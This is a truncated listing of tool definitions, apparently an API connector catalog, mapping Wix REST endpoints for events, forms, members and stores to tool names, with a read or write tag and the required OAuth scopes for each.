wix_post_events_v1_ticket_reservations (write) — Create Ticket Reservation via POST /events/v1/ticket-reservations POST /api/v1/wix/events/v1/ticket-reservations. Scopes: SCOPE.EVENTS.EVENTS-CHECKOUT. wix_post_events_v1_ticket_reservations_by_ticketreservationid_cancel (write) — Cancel Ticket Reservation via POST /events/v1/ticket-reservations/{ticketReservationId}/cancel POST /api/v1/wix/events/v1/ticket-reservations/{ticketReservationId}/cancel. Scopes: SCOPE.EVENTS.EVENTS-CHECKOUT. wix_post_events_v1_tickets_check_in (write) — Check In Ticket via POST /events/v1/tickets/check-in POST /api/v1/wix/events/v1/tickets/check-in. Scopes: SCOPE.DC-EVENTS.MANAGE-GUEST-LIST. wix_post_events_v2_bulk_rsvps_delete_by_filter (write) — Bulk Delete Rsvps By Filter via POST /events/v2/bulk/rsvps/delete-by-filter POST /api/v1/wix/events/v2/bulk/rsvps/delete-by-filter. Scopes: SCOPE.DC-EVENTS.MANAGE-GUEST-LIST. wix_post_events_v2_guests_query (read) — Query Event Guests via POST /events/v2/guests/query POST /api/v1/wix/events/v2/guests/query. Scopes: SCOPE.DC-EVENTS.READ-GUEST-LIST. wix_post_events_v2_policies (write) — Create Policy via POST /events/v2/policies POST /api/v1/wix/events/v2/policies. Scopes: SCOPE.DC-EVENTS.MANAGE-POLICIES. wix_post_events_v2_policies_query (read) — Query Policies via POST /events/v2/policies/query POST /api/v1/wix/events/v2/policies/query. Scopes: SCOPE.DC-EVENTS.READ-POLICIES. wix_post_events_v2_policies_reorder (write) — Reorder Event Policies via POST /events/v2/policies/reorder POST /api/v1/wix/events/v2/policies/reorder. Scopes: SCOPE.DC-EVENTS.MANAGE-POLICIES. wix_post_events_v2_rsvps (write) — Create Rsvp via POST /events/v2/rsvps POST /api/v1/wix/events/v2/rsvps. Scopes: SCOPE.DC-EVENTS.MANAGE-GUEST-LIST. wix_post_events_v2_rsvps_by_rsvpid_cancel_check_in (write) — Cancel Rsvp Guests Check In via POST /events/v2/rsvps/{rsvpId}/cancel-check-in POST /api/v1/wix/events/v2/rsvps/{rsvpId}/cancel-check-in. Scopes: SCOPE.DC-EVENTS.MANAGE-GUEST-LIST. wix_post_events_v2_rsvps_by_rsvpid_check_in (write) — Check In Rsvp Guests via POST /events/v2/rsvps/{rsvpId}/check-in POST /api/v1/wix/events/v2/rsvps/{rsvpId}/check-in. Scopes: SCOPE.DC-EVENTS.MANAGE-GUEST-LIST. wix_post_events_v2_rsvps_count (write) — Count Rsvps via POST /events/v2/rsvps/count POST /api/v1/wix/events/v2/rsvps/count. Scopes: SCOPE.DC-EVENTS.READ-GUEST-LIST. wix_post_events_v2_rsvps_query (read) — Query Rsvps via POST /events/v2/rsvps/query POST /api/v1/wix/events/v2/rsvps/query. Scopes: SCOPE.DC-EVENTS.READ-GUEST-LIST. wix_post_events_v2_rsvps_search (read) — Search Rsvps via POST /events/v2/rsvps/search POST /api/v1/wix/events/v2/rsvps/search. Scopes: SCOPE.DC-EVENTS.READ-GUEST-LIST. wix_post_events_v3_bulk_events_cancel_by_filter (write) — Bulk Cancel Events By Filter via POST /events/v3/bulk/events/cancel-by-filter POST /api/v1/wix/events/v3/bulk/events/cancel-by-filter. Scopes: SCOPE.DC-EVENTS.MANAGE-EVENTS. wix_post_events_v3_bulk_events_delete_by_filter (write) — Bulk Delete Events By Filter via POST /events/v3/bulk/events/delete-by-filter POST /api/v1/wix/events/v3/bulk/events/delete-by-filter. Scopes: SCOPE.DC-EVENTS.MANAGE-EVENTS. wix_post_events_v3_bulk_ticket_definitions_delete (write) — Bulk Delete Ticket Definitions By Filter via POST /events/v3/bulk/ticket-definitions/delete POST /api/v1/wix/events/v3/bulk/ticket-definitions/delete. Scopes: SCOPE.DC-EVENTS.MANAGE-TICKET-DEF. wix_post_events_v3_events (write) — Create Event via POST /events/v3/events POST /api/v1/wix/events/v3/events. Scopes: SCOPE.DC-EVENTS.MANAGE-EVENTS. wix_post_events_v3_events_by_eventid_cancel (write) — Cancel Event via POST /events/v3/events/{eventId}/cancel POST /api/v1/wix/events/v3/events/{eventId}/cancel. Scopes: SCOPE.DC-EVENTS.MANAGE-EVENTS. wix_post_events_v3_events_by_eventid_clone (write) — Clone Event via POST /events/v3/events/{eventId}/clone POST /api/v1/wix/events/v3/events/{eventId}/clone. Scopes: SCOPE.DC-EVENTS.MANAGE-EVENTS. wix_post_events_v3_events_by_eventid_publish (write) — Publish Draft Event via POST /events/v3/events/{eventId}/publish POST /api/v1/wix/events/v3/events/{eventId}/publish. Scopes: SCOPE.DC-EVENTS.MANAGE-EVENTS. wix_post_events_v3_events_count_by_status (write) — Count Events By Status via POST /events/v3/events/count-by-status POST /api/v1/wix/events/v3/events/count-by-status. Scopes: SCOPE.DC-EVENTS.READ-EVENTS. wix_post_events_v3_events_query (read) — Query Events via POST /events/v3/events/query POST /api/v1/wix/events/v3/events/query. Scopes: SCOPE.DC-EVENTS.READ-EVENTS. wix_post_events_v3_ticket_definitions (write) — Create Ticket Definition via POST /events/v3/ticket-definitions POST /api/v1/wix/events/v3/ticket-definitions. Scopes: SCOPE.DC-EVENTS.MANAGE-TICKET-DEF. wix_post_events_v3_ticket_definitions_count (write) — Count Ticket Definitions via POST /events/v3/ticket-definitions/count POST /api/v1/wix/events/v3/ticket-definitions/count. Scopes: SCOPE.DC-EVENTS.MANAGE-TICKET-DEF. wix_post_events_v3_ticket_definitions_currency (write) — Change Currency via POST /events/v3/ticket-definitions/currency POST /api/v1/wix/events/v3/ticket-definitions/currency. Scopes: SCOPE.DC-EVENTS.MANAGE-TICKET-DEF. wix_post_events_v3_ticket_definitions_query (read) — Query Ticket Definitions via POST /events/v3/ticket-definitions/query POST /api/v1/wix/events/v3/ticket-definitions/query. Scopes: SCOPE.DC-EVENTS.MANAGE-TICKET-DEF. wix_post_events_v3_ticket_definitions_reorder (write) — Reorder Ticket Definitions via POST /events/v3/ticket-definitions/reorder POST /api/v1/wix/events/v3/ticket-definitions/reorder. Scopes: SCOPE.DC-EVENTS.MANAGE-TICKET-DEF. wix_post_form_schema_service_v4_deleted_forms_count (write) — Count Deleted Forms via POST /form-schema-service/v4/deleted-forms/count POST /api/v1/wix/form-schema-service/v4/deleted-forms/count. Scopes: SCOPE.FORMS.VIEW-FORM. wix_post_form_schema_service_v4_forms (write) — Create Form via POST /form-schema-service/v4/forms POST /api/v1/wix/form-schema-service/v4/forms. Scopes: SCOPE.FORMS.EDIT-FORM. wix_post_form_schema_service_v4_forms_by_formid_clone (write) — Clone Form via POST /form-schema-service/v4/forms/{formId}/clone POST /api/v1/wix/form-schema-service/v4/forms/{formId}/clone. Scopes: SCOPE.FORMS.EDIT-FORM. wix_post_form_schema_service_v4_forms_count_by_filter (read) — Count Forms By Filter via POST /form-schema-service/v4/forms/count-by-filter POST /api/v1/wix/form-schema-service/v4/forms/count-by-filter. Scopes: SCOPE.FORMS.VIEW-FORM. wix_post_form_schema_service_v4_forms_fields_delete (write) — Bulk Remove Deleted Field via POST /form-schema-service/v4/forms/fields/delete POST /api/v1/wix/form-schema-service/v4/forms/fields/delete. Scopes: SCOPE.FORMS.EDIT-FORM. wix_post_form_schema_service_v4_forms_query (read) — Query Forms via POST /form-schema-service/v4/forms/query POST /api/v1/wix/form-schema-service/v4/forms/query. Scopes: SCOPE.FORMS.VIEW-FORM. wix_post_form_schema_service_v4_forms_trash_bin_by_formid_restore (write) — Restore From Trash Bin via POST /form-schema-service/v4/forms/trash-bin/{formId}/restore POST /api/v1/wix/form-schema-service/v4/forms/trash-bin/{formId}/restore. Scopes: SCOPE.FORMS.EDIT-FORM. wix_post_form_schema_service_v4_forms_trash_bin_query (write) — Query Deleted Forms via POST /form-schema-service/v4/forms/trash-bin/query POST /api/v1/wix/form-schema-service/v4/forms/trash-bin/query. Scopes: SCOPE.FORMS.VIEW-FORM. wix_post_form_submission_service_v4_bulk_submissions_mark_as_seen (write) — Bulk Mark Submissions As Seen via POST /form-submission-service/v4/bulk/submissions/mark-as-seen POST /api/v1/wix/form-submission-service/v4/bulk/submissions/mark-as-seen. Scopes: SCOPE.FORMS.MANAGE-SUBMISSIONS. wix_post_forms_v4_bulk_forms_clone (write) — Bulk Clone Form via POST /forms/v4/bulk/forms/clone POST /api/v1/wix/forms/v4/bulk/forms/clone. Scopes: SCOPE.FORMS.EDIT-FORM. wix_post_forms_v4_bulk_forms_create (write) — Bulk Create Form via POST /forms/v4/bulk/forms/create POST /api/v1/wix/forms/v4/bulk/forms/create. Scopes: SCOPE.FORMS.EDIT-FORM. wix_post_forms_v4_bulk_forms_delete (write) — Bulk Delete Form via POST /forms/v4/bulk/forms/delete POST /api/v1/wix/forms/v4/bulk/forms/delete. Scopes: SCOPE.FORMS.EDIT-FORM. wix_post_forms_v4_submissions (write) — Create Submission via POST /forms/v4/submissions POST /api/v1/wix/forms/v4/submissions. Scopes: SCOPE.FORMS.VIEW-FORM. wix_post_forms_v4_submissions_by_submissionid_confirm (write) — Confirm Submission via POST /forms/v4/submissions/{submissionId}/confirm POST /api/v1/wix/forms/v4/submissions/{submissionId}/confirm. Scopes: SCOPE.FORMS.MANAGE-SUBMISSIONS. wix_post_forms_v4_submissions_count (write) — Count Submissions via POST /forms/v4/submissions/count POST /api/v1/wix/forms/v4/submissions/count. Scopes: SCOPE.FORMS.MANAGE-SUBMISSIONS. wix_post_forms_v4_submissions_media_upload_url (write) — Get Media Upload URL via POST /forms/v4/submissions/media-upload-url POST /api/v1/wix/forms/v4/submissions/media-upload-url. Scopes: SCOPE.FORMS.VIEW-FORM. wix_post_forms_v4_submissions_namespace_query (read) — Query Submissions By Namespace via POST /forms/v4/submissions/namespace/query POST /api/v1/wix/forms/v4/submissions/namespace/query. Scopes: SCOPE.FORMS.MANAGE-SUBMISSIONS. wix_post_members_v1_activity_counters_query (write) — Query Activity Counters via POST /members/v1/activity-counters/query POST /api/v1/wix/members/v1/activity-counters/query. Scopes: SCOPE.DC-MEMBERS.READ-ACTIVITY-COUNTERS. wix_post_members_v1_custom_field_suggestions_query (read) — Query Custom Field Suggestions via POST /members/v1/custom-field-suggestions/query POST /api/v1/wix/members/v1/custom-field-suggestions/query. Scopes: SCOPE.DC-MEMBERS.READ-MEMBERS. wix_post_members_v1_custom_fields (write) — Create Custom Field via POST /members/v1/custom-fields POST /api/v1/wix/members/v1/custom-fields. Scopes: SCOPE.DC-MEMBERS.MANAGE-MEMBERS. wix_post_members_v1_custom_fields_applications (write) — Create Custom Field Application via POST /members/v1/custom-fields-applications POST /api/v1/wix/members/v1/custom-fields-applications. Scopes: SCOPE.DC-MEMBERS.MANAGE-MEMBERS. wix_post_members_v1_custom_fields_applications_applications (write) — Get Custom Field Applications via POST /members/v1/custom-fields-applications/applications POST /api/v1/wix/members/v1/custom-fields-applications/applications. Scopes: SCOPE.DC-MEMBERS.READ-MEMBERS. wix_post_members_v1_custom_fields_by_id_hide (write) — Hide Custom Field via POST /members/v1/custom-fields/{id}/hide POST /api/v1/wix/members/v1/custom-fields/{id}/hide. Scopes: SCOPE.DC-MEMBERS.MANAGE-MEMBERS. wix_post_members_v1_custom_fields_order (write) — Update Custom Fields Order via POST /members/v1/custom-fields/order POST /api/v1/wix/members/v1/custom-fields/order. Scopes: SCOPE.DC-MEMBERS.MANAGE-MEMBERS. wix_post_members_v1_member_reports (write) — Report Member via POST /members/v1/member-reports POST /api/v1/wix/members/v1/member-reports. Scopes: SCOPE.DC-MEMBERS.MANAGE-MEMBERS. wix_post_members_v1_member_reports_query (read) — Query Member Reports via POST /members/v1/member-reports/query POST /api/v1/wix/members/v1/member-reports/query. Scopes: SCOPE.DC-MEMBERS.MANAGE-MEMBERS. wix_post_members_v1_members (write) — Create Member via POST /members/v1/members POST /api/v1/wix/members/v1/members. Scopes: SCOPE.DC-MEMBERS.MANAGE-MEMBERS. wix_post_members_v1_members_bulk_approve_by_filter (write) — Bulk Approve Members via POST /members/v1/members/bulk/approve-by-filter POST /api/v1/wix/members/v1/members/bulk/approve-by-filter. Scopes: SCOPE.DC-MEMBERS.MANAGE-MEMBERS. wix_post_members_v1_members_bulk_block_by_filter (write) — Bulk Block Members via POST /members/v1/members/bulk/block-by-filter POST /api/v1/wix/members/v1/members/bulk/block-by-filter. Scopes: SCOPE.DC-MEMBERS.MANAGE-MEMBERS. wix_post_members_v1_members_bulk_delete (write) — Bulk Delete Members via POST /members/v1/members/bulk/delete POST /api/v1/wix/members/v1/members/bulk/delete. Scopes: SCOPE.DC-MEMBERS.MANAGE-MEMBERS. wix_post_members_v1_members_bulk_delete_by_filter (write) — Bulk Delete Members By Filter via POST /members/v1/members/bulk/delete-by-filter POST /api/v1/wix/members/v1/members/bulk/delete-by-filter. Scopes: SCOPE.DC-MEMBERS.MANAGE-MEMBERS. wix_post_members_v1_members_by_id_approve (write) — Approve Member via POST /members/v1/members/{id}/approve POST /api/v1/wix/members/v1/members/{id}/approve. Scopes: SCOPE.DC-MEMBERS.MANAGE-MEMBERS. wix_post_members_v1_members_by_id_block (write) — Block Member via POST /members/v1/members/{id}/block POST /api/v1/wix/members/v1/members/{id}/block. Scopes: SCOPE.DC-MEMBERS.MANAGE-MEMBERS. wix_post_members_v1_members_by_id_disconnect (write) — Disconnect Member via POST /members/v1/members/{id}/disconnect POST /api/v1/wix/members/v1/members/{id}/disconnect. Scopes: SCOPE.DC-MEMBERS.MANAGE-MEMBERS. wix_post_members_v1_members_by_id_mute (write) — Mute Member via POST /members/v1/members/{id}/mute POST /api/v1/wix/members/v1/members/{id}/mute. Scopes: SCOPE.DC-MEMBERS.MANAGE-MEMBERS. wix_post_members_v1_members_by_id_slug (write) — Update Member Slug via POST /members/v1/members/{id}/slug POST /api/v1/wix/members/v1/members/{id}/slug. Scopes: SCOPE.DC-MEMBERS.MANAGE-MEMBERS. wix_post_members_v1_members_by_id_unmute (write) — Unmute Member via POST /members/v1/members/{id}/unmute POST /api/v1/wix/members/v1/members/{id}/unmute. Scopes: SCOPE.DC-MEMBERS.MANAGE-MEMBERS. wix_post_members_v1_members_query (read) — Query Members via POST /members/v1/members/query POST /api/v1/wix/members/v1/members/query. Scopes: SCOPE.DC-MEMBERS.READ-MEMBERS. wix_post_members_v1_privacy_settings (write) — Set Member Privacy Settings via POST /members/v1/privacy-settings POST /api/v1/wix/members/v1/privacy-settings. Scopes: SCOPE.DC-MEMBERS.MANAGE-MEMBERS. wix_post_members_v2_abouts (write) — Create Member About via POST /members/v2/abouts POST /api/v1/wix/members/v2/abouts. Scopes: SCOPE.DC-MEMBERS.MANAGE-ABOUT. wix_post_members_v2_abouts_query (read) — Query Member Abouts via POST /members/v2/abouts/query POST /api/v1/wix/members/v2/abouts/query. Scopes: SCOPE.DC-MEMBERS.READ-MEMBERS. wix_post_members_v3_followers_by_memberid_connections (write) — Query Member Connections via POST /members/v3/followers/{memberId}/connections POST /api/v1/wix/members/v3/followers/{memberId}/connections. Scopes: SCOPE.DC-MEMBERS.READ-FOLLOWERS. wix_post_site_list_v2_sites_count (write) — Count Sites via POST /site-list/v2/sites/count POST /api/v1/wix/site-list/v2/sites/count. Scopes: SCOPE.ACC-DC-OS.READ-SITE. wix_post_site_list_v2_sites_query (read) — Query Sites via POST /site-list/v2/sites/query POST /api/v1/wix/site-list/v2/sites/query. Scopes: SCOPE.ACC-DC-OS.READ-SITE. wix_post_stores_v3_brands (write) — Create Brand via POST /stores/v3/brands POST /api/v1/wix/stores/v3/brands. Scopes: SCOPE.STORES.BRAND_WRITE. wix_post_stores_v3_brands_get_or_create (write) — Get Or Create Brand via POST /stores/v3/brands/get-or-create POST /api/v1/wix/stores/v3/brands/get-or-create. Scopes: SCOPE.STORES.BRAND_WRITE. wix_post_stores_v3_brands_query (read) — Query Brands via POST /stores/v3/brands/query POST /api/v1/wix/stores/v3/brands/query. Scopes: SCOPE.STORES.BRAND_READ. wix_post_stores_v3_bulk_brands_create (write) — Bulk Create Brands via POST /stores/v3/bulk/brands/create POST /api/v1/wix/stores/v3/bulk/brands/create. Scopes: SCOPE.STORES.BRAND_WRITE. wix_post_stores_v3_bulk_brands_delete (write) — Bulk Delete Brands via POST /stores/v3/bulk/brands/delete POST /api/v1/wix/stores/v3/bulk/brands/delete. Scopes: SCOPE.STORES.BRAND_WRITE. wix_post_stores_v3_bulk_brands_get_or_create (write) — Bulk Get Or Create Brands via POST /stores/v3/bulk/brands/get-or-create POST /api/v1/wix/stores/v3/bulk/brands/get-or-create. Scopes: SCOPE.STORES.BRAND_WRITE. wix_post_stores_v3_bulk_brands_update (write) — Bulk Update Brands via POST /stores/v3/bulk/brands/update POST /api/v1/wix/stores/v3/bulk/brands/update. Scopes: SCOPE.STORES.BRAND_WRITE. wix_post_stores_v3_bulk_customizations_add_choices (write) — Bulk Add Customization Choices via POST /stores/v3/bulk/customizations/add-choices POST /api/v1/wix/stores/v3/bulk/customizations/add-choices. Scopes: SCOPE.STORES.CUSTOMIZATION_WRITE. wix_post_stores_v3_bulk_customizations_create (write) — Bulk Create Customizations via POST /stores/v3/bulk/customizations/create POST /api/v1/wix/stores/v3/bulk/customizations/create. Scopes: SCOPE.STORES.CUSTOMIZATION_WRITE. wix_post_stores_v3_bulk_customizations_update (write) — Bulk Update Customizations via POST /stores/v3/bulk/customizations/update POST /api/v1/wix/stores/v3/bulk/customizations/update. Scopes: SCOPE.STORES.CUSTOMIZATION_WRITE. wix_post_stores_v3_bulk_info_sections_create (write) — Bulk Create Info Sections via POST /stores/v3/bulk/info-sections/create POST /api/v1/wix/stores/v3/bulk/info-sections/create. Scopes: SCOPE.STORES.INFO_SECTION_WRITE. wix_post_stores_v3_bulk_info_sections_delete (write) — Bulk Delete Info Sections via POST /stores/v3/bulk/info-sections/delete POST /api/v1/wix/stores/v3/bulk/info-sections/delete. Scopes: SCOPE.STORES.INFO_SECTION_WRITE. wix_post_stores_v3_bulk_info_sections_get_or_create (write) — Bulk Get Or Create Info Sections via POST /stores/v3/bulk/info-sections/get-or-create POST /api/v1/wix/stores/v3/bulk/info-sections/get-or-create. Scopes: SCOPE.STORES.INFO_SECTION_WRITE. wix_post_stores_v3_bulk_info_sections_update (write) — Bulk Update Info Sections via POST /stores/v3/bulk/info-sections/update POST /api/v1/wix/stores/v3/bulk/info-sections/update. Scopes: SCOPE.STORES.INFO_SECTION_WRITE. wix_post_stores_v3_bulk_inventory_items_create (write) — Bulk Create Inventory Items via POST /stores/v3/bulk/inventory-items/create POST /api/v1/wix/stores/v3/bulk/inventory-items/create. Scopes: SCOPE.STORES.INVENTORY_ITEM_WRITE. wix_post_stores_v3_bulk_inventory_items_decrement (write) — Bulk Decrement Inventory Items via POST /stores/v3/bulk/inventory-items/decrement POST /api/v1/wix/stores/v3/bulk/inventory-items/decrement. Scopes: SCOPE.STORES.INVENTORY_ITEM_WRITE. wix_post_stores_v3_bulk_inventory_items_decrement_by_variant_and_location (write) — Bulk Decrement Inventory Items By Variant And Location via POST /stores/v3/bulk/inventory-items/decrement-by-variant-and-location POST /api/v1/wix/stores/v3/bulk/inventory-items/decrement-by-variant-and-location. Scopes: SCOPE.STORES.INVENTORY_ITEM_WRITE. wix_post_stores_v3_bulk_inventory_items_delete (write) — Bulk Delete Inventory Items via POST /stores/v3/bulk/inventory-items/delete POST /api/v1/wix/stores/v3/bulk/inventory-items/delete. Scopes: SCOPE.STORES.INVENTORY_ITEM_WRITE. wix_post_stores_v3_bulk_inventory_items_increment (write) — Bulk Increment Inventory Items via POST /stores/v3/bulk/inventory-items/increment POST /api/v1/wix/stores/v3/bulk/inventory-items/increment. Scopes: SCOPE.STORES.INVENTORY_ITEM_WRITE. wix_post_stores_v3_bulk_inventory_items_increment_by_variant_and_location (write) — Bulk Increment Inventory Items By Variant And Location via POST /stores/v3/bulk/inventory-items/increment-by-variant-and-location POST /api/v1/wix/stores/v3/bulk/inventory-items/increment-by-variant-and-location. Scopes: SCOPE.STORES.INVENTORY_ITEM_WRITE. wix_post_stores_v3_bulk_inventory_items_update (write) — Bulk Update Inventory Items via POST /stores/v3/bulk/inventory-items/update POST /api/v1/wix/stores/v3/bulk/inventory-items/update. Scopes: SCOPE.STORES.INVENTORY_ITEM_WRITE. wix_post_stores_v3_bulk_inventory_items_update_by_filter (write) — Bulk Update Inventory Items By Filter via POST /stores/v3/bulk/inventory-items/update-by-filter POST /api/v1/wix/stores/v3/bulk/inventory-items/update-by-filter. Scopes: SCOPE.STORES.INVENTORY_ITEM_WRITE. wix_post_stores_v3_bulk_products_add_info_sections (write) — Bulk Add Info Sections To Products via POST /stores/v3/bulk/products/add-info-sections POST /api/v1/wix/stores/v3/bulk/products/add-info-sections. Scopes: SCOPE.STORES.PRODUCT_WRITE. wix_post_stores_v3_bulk_products_add_info_sections_by_filter (write) — Bulk Add Info Sections To Products By Filter via POST /stores/v3/bulk/products/add-info-sections-by-filter POST /api/v1/wix/stores/v3/bulk/products/add-info-sections-by-filter. Scopes: SCOPE.STORES.PRODUCT_WRITE. wix_post_stores_v3_bulk_products_add_to_categories_by_filter (write) — Bulk Add Products To Categories By Filter via POST /stores/v3/bulk/products/add-to-categories-by-filter POST /api/v1/wix/stores/v3/bulk/products/add-to-categories-by-filter. Scopes: SCOPE.CATEGORIES.CATEGORY_ITEM_WRITE. wix_post_stores_v3_bulk_products_adjust_variants_by_filter (write) — Bulk Adjust Product Variants By Filter via POST /stores/v3/bulk/products/adjust-variants-by-filter POST /api/v1/wix/stores/v3/bulk/products/adjust-variants-by-filter. Scopes: SCOPE.STORES.PRODUCT_WRITE. wix_post_stores_v3_bulk_products_create (write) — Bulk Create Products via POST /stores/v3/bulk/products/create POST /api/v1/wix/stores/v3/bulk/products/create. Scopes: SCOPE.STORES.PRODUCT_WRITE. wix_post_stores_v3_bulk_products_delete (write) — Bulk Delete Products via POST /stores/v3/bulk/products/delete POST /api/v1/wix/stores/v3/bulk/products/delete. Scopes: SCOPE.STORES.PRODUCT_WRITE. wix_post_stores_v3_bulk_products_delete_by_filter (write) — Bulk Delete Products By Filter via POST /stores/v3/bulk/products/delete-by-filter POST /api/v1/wix/stores/v3/bulk/products/delete-by-filter. Scopes: SCOPE.STORES.PRODUCT_WRITE. wix_post_stores_v3_bulk_products_remove_from_categories_by_filter (write) — Bulk Remove Products From Categories By Filter via POST /stores/v3/bulk/products/remove-from-categories-by-filter POST /api/v1/wix/stores/v3/bulk/products/remove-from-categories-by-filter. Scopes: SCOPE.CATEGORIES.CATEGORY_ITEM_WRITE. wix_post_stores_v3_bulk_products_remove_info_sections (write) — Bulk Remove Info Sections From Products via POST /stores/v3/bulk/products/remove-info-sections POST /api/v1/wix/stores/v3/bulk/products/remove-info-sections. Scopes: SCOPE.STORES.PRODUCT_WRITE. wix_post_stores_v3_bulk_products_remove_info_sections_by_filter (write) — Bulk Remove Info Sections From Products By Filter via POST /stores/v3/bulk/products/remove-info-sections-by-filter POST /api/v1/wix/stores/v3/bulk/products/remove-info-sections-by-filter. Scopes: SCOPE.STORES.PRODUCT_WRITE. wix_post_stores_v3_bulk_products_update (write) — Bulk Update Products via POST /stores/v3/bulk/products/update POST /api/v1/wix/stores/v3/bulk/products/update. Scopes: SCOPE.STORES.PRODUCT_WRITE. wix_post_stores_v3_bulk_products_update_by_filter (write) — Bulk Update Products By Filter via POST /stores/v3/bulk/products/update-by-filter POST /api/v1/wix/stores/v3/bulk/products/update-by-filter. Scopes: SCOPE.STORES.PRODUCT_WRITE. wix_post_stores_v3_bulk_products_update_tags (write) — Bulk Update Product Tags via POST /stores/v3/bulk/products/update-tags POST /api/v1/wix/stores/v3/bulk/products/update-tags. Scopes: SCOPE.STORES.PRODUCT_WRITE. wix_post_stores_v3_bulk_products_update_tags_by_filter (write) — Bulk Update Product Tags By Filter via POST /stores/v3/bulk/products/update-tags-by-filter POST /api/v1/wix/stores/v3/bulk/products/update-tags-by-filter. Scopes: SCOPE.STORES.PRODUCT_WRITE. wix_post_stores_v3_bulk_products_update_variants_by_filter (write) — Bulk Update Product Variants By Filter via POST /stores/v3/bulk/products/update-variants-by-filter POST /api/v1/wix/stores/v3/bulk/products/update-variants-by-filter. Scopes: SCOPE.STORES.PRODUCT_WRITE. wix_post_stores_v3_bulk_products_with_inventory_create (write) — Bulk Create Products With Inventory via POST /stores/v3/bulk/products-with-inventory/create POST /api/v1/wix/stores/v3/bulk/products-with-inventory/create. Scopes: SCOPE.STORES.PRODUCT_WRITE. wix_post_stores_v3_bulk_products_with_inventory_update (write) — Bulk Update Products With Inventory via POST /stores/v3/bulk/products-with-inventory/update POST /api/v1/wix/stores/v3/bulk/products-with-inventory/update. Scopes: SCOPE.STORES.PRODUCT_WRITE. wix_post_stores_v3_bulk_ribbons_create (write) — Bulk Create Ribbons via POST /stores/v3/bulk/ribbons/create POST /api/v1/wix/stores/v3/bulk/ribbons/create. Scopes: SCOPE.STORES.RIBBON_WRITE. wix_post_stores_v3_bulk_ribbons_delete (write) — Bulk Delete Ribbons via POST /stores/v3/bulk/ribbons/delete POST /api/v1/wix/stores/v3/bulk/ribbons/delete. Scopes: SCOPE.STORES.RIBBON_WRITE. wix_post_stores_v3_bulk_ribbons_get_or_create (write) — Bulk Get Or Create Ribbons via POST /stores/v3/bulk/ribbons/get-or-create POST /api/v1/wix/stores/v3/bulk/ribbons/get-or-create. Scopes: SCOPE.STORES.RIBBON_WRITE. wix_post_stores_v3_bulk_ribbons_update (write) — Bulk Update Ribbons via POST /stores/v3/bulk/ribbons/update POST /api/v1/wix/stores/v3/bulk/ribbons/update. Scopes: SCOPE.STORES.RIBBON_WRITE. wix_post_stores_v3_customizations (write) — Create Customization via POST /stores/v3/customizations POST /api/v1/wix/stores/v3/customizations. Scopes: SCOPE.STORES.CUSTOMIZATION_WRITE. wix_post_stores_v3_customizations_by_customizationid_add_choices (write) — Add Customization Choices via POST /stores/v3/customizations/{customizationId}/add-choices POST /api/v1/wix/stores/v3/customizations/{customizationId}/add-choices. Scopes: SCOPE.STORES.CUSTOMIZATION_WRITE. wix_post_stores_v3_customizations_by_customizationid_remove_choices (write) — Remove Customization Choices via POST /stores/v3/customizations/{customizationId}/remove-choices POST /api/v1/wix/stores/v3/customizations/{customizationId}/remove-choices. Scopes: SCOPE.STORES.CUSTOMIZATION_WRITE. wix_post_stores_v3_customizations_by_customizationid_set_choices (write) — Set Customization Choices via POST /stores/v3/customizations/{customizationId}/set-choices POST /api/v1/wix/stores/v3/customizations/{customizationId}/set-choices. Scopes: SCOPE.STORES.CUSTOMIZATION_WRITE. wix_post_stores_v3_customizations_query (read) — Query Customizations via POST /stores/v3/customizations/query POST /api/v1/wix/stores/v3/customizations/query. Scopes: SCOPE.STORES.CUSTOMIZATION_READ. wix_post_stores_v3_info_sections (write) — Create Info Section via POST /stores/v3/info-sections POST /api/v1/wix/stores/v3/info-sections. Scopes: SCOPE.STORES.INFO_SECTION_WRITE. wix_post_stores_v3_info_sections_get_or_create (write) — Get Or Create Info Section via POST /stores/v3/info-sections/get-or-create POST /api/v1/wix/stores/v3/info-sections/get-or-create. Scopes: SCOPE.STORES.INFO_SECTION_WRITE. wix_post_stores_v3_info_sections_query (read) — Query Info Sections via POST /stores/v3/info-sections/query POST /api/v1/wix/stores/v3/info-sections/query. Scopes: SCOPE.STORES.INFO_SECTION_READ. wix_post_stores_v3_inventory_items (write) — Create Inventory Item via POST /stores/v3/inventory-items POST /api/v1/wix/stores/v3/inventory-items. Scopes: SCOPE.STORES.INVENTORY_ITEM_WRITE. wix_post_stores_v3_inventory_items_query (read) — Query Inventory Items via POST /stores/v3/inventory-items/query POST /api/v1/wix/stores/v3/inventory-items/query. Scopes: SCOPE.STORES.INVENTORY_ITEM_READ. wix_post_stores_v3_inventory_items_search (read) — Search Inventory Items via POST /stores/v3/inventory-items/search POST /api/v1/wix/stores/v3/inventory-items/search. Scopes: SCOPE.STORES.INVENTORY_ITEM_READ. wix_post_stores_v3_locations_query (read) — Query Stores Locations via POST /stores/v3/locations/query POST /api/v1/wix/stores/v3/locations/query. Scopes: SCOPE.STORES.LOCATION_READ. wix_post_stores_v3_products (write) — Create Product via POST /stores/v3/products POST /api/v1/wix/stores/v3/products. Scopes: SCOPE.STORES.PRODUCT_WRITE. wix_post_stores_v3_products_count (read) — Count Products via POST /stores/v3/products/count POST /api/v1/wix/stores/v3/products/count. Scopes: SCOPE.STORES.PRODUCT_READ. wix_post_stores_v3_products_query (read) — Query Products via POST /stores/v3/products/query POST /api/v1/wix/stores/v3/products/query. Scopes: SCOPE.STORES.PRODUCT_READ. wix_post_stores_v3_products_query_variants (read) — Query Variants via POST /stores/v3/products/query-variants POST /api/v1/wix/stores/v3/products/query-variants. Scopes: SCOPE.STORES.PRODUCT_READ. wix_post_stores_v3_products_search (read) — Search Products via POST /stores/v3/products/search POST /api/v1/wix/stores/v3/products/search. Scopes: SCOPE.STORES.PRODUCT_READ. wix_post_stores_v3_products_search_variants (read) — Search Variants via POST /stores/v3/products/search-variants POST /api/v1/wix/stores/v3/products/search-variants. Scopes: SCOPE.STORES.PRODUCT_READ. wix_post_stores_v3_products_with_inventory (write) — Create Product With Inventory via POST /stores/v3/products-with-inventory POST /api/v1/wix/stores/v3/products-with-inventory. Scopes: SCOPE.STORES.PRODUCT_WRITE. wix_post_stores_v3_ribbons (write) — Create Ribbon via POST /stores/v3/ribbons POST /api/v1/wix/stores/v3/ribbons. Scopes: SCOPE.STORES.RIBBON_WRITE. wix_post_stores_v3_ribbons_get_or_create (write) — Get Or Create Ribbon via POST /stores/v3/ribbons/get-or-create POST /api/v1/wix/stores/v3/ribbons/get-or-create. Scopes: SCOPE.STORES.RIBBON_WRITE. wix_post_stores_v3_ribbons_query (read) — Query Ribbons via POST /stores/v3/ribbons/query POST 